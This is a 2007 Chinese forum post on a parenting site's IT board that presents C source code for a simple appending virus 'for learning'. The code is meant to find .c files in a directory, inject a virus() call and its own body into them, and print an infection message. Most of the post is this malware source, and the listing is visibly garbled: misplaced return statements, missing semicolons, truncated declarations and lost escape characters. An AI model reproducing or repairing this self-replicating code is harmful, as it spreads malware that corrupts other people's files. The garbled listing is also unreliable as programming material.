天天家教网姊妹站 - 中小幼家长教育互助平台
社区导航
网站公告
大讲堂
    本周话题:做题时常常粗心大意,导致简单错误的认知分析和应对策略

    如果我们留心孩子的试卷和作业,会发现一些由于“马虎”、“粗心”造成的简单错误频频出现。更为严重的是这类错误屡改屡犯!面对孩子的“冤枉”失分,我们仅仅给出“用心一点”,“注意一点”的简单建议,这样草草收场够吗?家长是不是该了解一下造成这个问题的深层次原因及解决办法呢?

    教育专家右征老师应邀针对上述问题在“大讲堂”开课。赶快点击此处进入吧!

您现在所在位置 : 首页 -> 家长社区 -> 生活娱乐 -> IT技术 -> 浏览主题
您是本帖的第 2176 个阅读者 + 刷新
主题: 简单的病毒程序
收藏本页
男 用户离线geng
头衔 版主
总分 21
专家奖 0
精华文章 0
总文章数 19
注册 2007-02-08
简单的病毒程序

首先声明:

本程序是我举的一个例子

为了叫大家理解就可以了

如果大家拿去捉弄人或做违法的事,后果自负!

希望大家要以学习为重!

病毒的特点:

病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式

病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。

从程序的角度来说,我们要做的事情有两件:

其实,这个程序勉强可以叫做病毒

根本不算是真正的病毒,好了就说这么多,

代码如下:(C语言)

#include <dir.h>

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk

FILE *in,*out,*read

return 0;

done = findfirst("*.c",&ffblk,0);

while (!done)

{

i=0;

getch();

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf,80,in);

i++;

}while(p!=NULL);

fclose(in);

return 0;

out=fopen(ffblk.ff_name,"w+t");

fputs("#include<stdio.h>n",out);

fputs("#include<dir.h>n",out);

do

{

if(strstr(buf[z],main)!=NULL)

{

for(;z<i-1;z++)

if(strstr(buf[z],end)==NULL&&strstr(buf[z],bracket)==NULL)

fputs(buf[z],out);

return 0;

else

{

getch();

if(flag==0)

{

flag=1;

fputs("virus();n",out);

}

fputs(buf[z],out);

}

}

else if((strstr(buf[z],include[0])==NULL)

&&(strstr(buf[z],include[1])==NULL))

{

fputs(buf[z],out);

z++;

}

else

z++;

}while(z<i-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

return 0;

else

{

getch();

fputs(" char *virus="",out);

fputs(ffblk.ff_name,out);

fputs("";n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("nYour c program %s has a virus. Writen by PuBinn",ffblk.ff_name);

next: done = findnext(&ffblk);

}

return 0;

}

char *virus="virus.c"

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;return 0;

nt done,i,j=0,flag=0

printf("nI have a virus. Writen by PuBinn")


相关文章(作者标签): 病毒 程序  
系统推荐相关文章: 复制 捉弄 先声 自负 改写
                                                                      
时间:2007-03-15
快速回复此贴
新用户注册
标题
内容
好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网 好学网

  
  
相关帖子
游客」  游客」  游客」  游客」  游客」  游客」  游客」  游客」  游客」  游客」  

厚载战略网群: 好学网 天天家教网 好学教育研究中心 不要烦律师网 上海办公家具 上海家具网 Office furniture 椅子网 礼品网

© 2003-2008 版权所有:上海厚载教育咨询有限公司
服务中心:上海市长宁区中山公园定西路1277号长峰大厦1507 邮编:200050
《中华人民共和国企业法人营业执照》注册号:3102282051359 《中华人民共和国组织机构代码证》编号:76398464 - 2
《上海市科学技术委员会科技经营证书》编号:金科8825号 本站法律顾问:上海宏仑宇君律师事务所 毛宏韬律师
沪ICP备05010961号